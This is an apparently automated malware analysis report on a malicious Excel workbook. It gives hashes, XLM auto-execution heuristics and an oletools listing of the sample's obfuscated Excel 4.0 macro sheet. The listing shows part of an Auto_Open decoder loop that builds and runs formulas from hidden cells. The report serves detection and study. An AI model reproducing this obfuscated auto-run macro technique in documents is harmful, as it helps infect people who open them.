Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 792863ab031fc241…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:45 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: f36c8d22a6a282528f7ccbea7456b8b9 SHA-1: 318320b4d0e6bac28d0ffb74e2b14028be3d5d00 SHA-256: 792863ab031fc241cd953a7e1a25c2b16a3cd51ad5a4cd9ec48454f2ffbc3e1e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6572 bytes
SHA-256: b569d2c301945afa11eed735a264e9c853f0bb0249578433894d043e9d77155c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tsZOzZN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C191 
' 0018     21 LABEL : Cell Value, String Constant - bHyAwc len=0 
' 0018     27 LABEL : Cell Value, String Constant - ciPoigKPlMJm len=0 
' 0018     26 LABEL : Cell Value, String Constant - CjEAHWnHvTo len=0 
' 0018     26 LABEL : Cell Value, String Constant - DGvdWefRqKX len=0 
' 0018     24 LABEL : Cell Value, String Constant - dmoJWmicm len=0 
' 0018     27 LABEL : Cell Value, String Constant - DnmiUSjUGnYS len=0 
' 0018     23 LABEL : Cell Value, String Constant - edAZPxYn len=0 
' 0018     22 LABEL : Cell Value, String Constant - EpBsKjW len=0 
' 0018     23 LABEL : Cell Value, String Constant - eRSVRUCr len=0 
' 0018     25 LABEL : Cell Value, String Constant - exwxAGYoIJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - FDmipGIqjnIo len=0 
' 0018     22 LABEL : Cell Value, String Constant - GTboIAx len=0 
' 0018     20 LABEL : Cell Value, String Constant - hdLBA len=0 
' 0018     20 LABEL : Cell Value, String Constant - mcFsV len=0 
' 0018     27 LABEL : Cell Value, String Constant - mTgSLiHownsO len=0 
' 0018     21 LABEL : Cell Value, String Constant - pzwVox len=0 
' 0018     24 LABEL : Cell Value, String Constant - RRBGhIAzY len=0 
' 0018     20 LABEL : Cell Value, String Constant - sKrLu len=0 
' 0018     22 LABEL : Cell Value, String Constant - XXnjvPp len=0 
' 0018     22 LABEL : Cell Value, String Constant - YavqRRD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tsZOzZN,C96,"SET.NAME("edAZPxYn",VALUE("0"))",""
'  tsZOzZN,C98,"SET.NAME("GTboIAx",edAZPxYn)",""
'  tsZOzZN,C102,"SET.NAME("CjEAHWnHvTo",edAZPxYn)",""
'  tsZOzZN,C106,"SET.NAME("DGvdWefRqKX",COUNTA(dmoJWmicm))",""
'  tsZOzZN,C109,"SET.NAME("YavqRRD",COUNTA(FDmipGIqjnIo))",""
'  tsZOzZN,C114,[],""
'  tsZOzZN,C119,"SET.NAME("pzwVox","")",""
'  tsZOzZN,C124,"GTboIAx",""
'  tsZOzZN,C129,"SET.NAME("ciPoigKPlMJm",HLOOKUP("*",dmoJWmicm,GTboIAx,FALSE))",""
'  tsZOzZN,C131,"mcFsV",""
'  tsZOzZN,C133,"SET.NAME("eRSVRUCr",edAZPxYn)",""
'  tsZOzZN,C135,[],""
'  tsZOzZN,C140,"eRSVRUCr",""
'  tsZOzZN,C143,"XXnjvPp",""
'  tsZOzZN,C147,"exwxAGYoIJ",""
'  tsZOzZN,C152,"EpBsKjW",""
'  tsZOzZN,C155,"SET.NAME("sKrLu",VALUE(HLOOKUP("*",FDmipGIqjnIo,EpBsKjW,FALSE)))",""
'  tsZOzZN,C160,"mTgSLiHownsO",""
'  tsZOzZN,C164,"pzwVox",""
'  tsZOzZN,C166,"CjEAHWnHvTo",""
'  tsZOzZN,C168,NEXT(),""
'  tsZOzZN,C172,"RRBGhIAzY",""
'  tsZOzZN,C174,"SET.NAME("f",INT(T(FORMULA(T(pzwVox)&"",""&T(RRBGhIAzY)))))",""
'  tsZOzZN,C178,"DnmiUSjUGnYS",""
'  tsZOzZN,C183,NEXT(),""
'  tsZOzZN,C186,RETURN(),""
'  tsZOzZN,C215,"SET.NAME("bHyAwc",C96)",""
'  tsZOzZN,C217,"dmoJWmicm",""
'  tsZOzZN,C219,"SET.NAME("FDmipGIqjnIo",R87C13)",""
'  tsZOzZN,C221,"SET.NAME("DnmiUSjUGnYS",229)",""
'  tsZOzZN,C224,"SET.NAME("hdLBA",3)",""
'  tsZOzZN,C228,bHyAwc(),""
'  tsZOzZN,C229,HALT(),""

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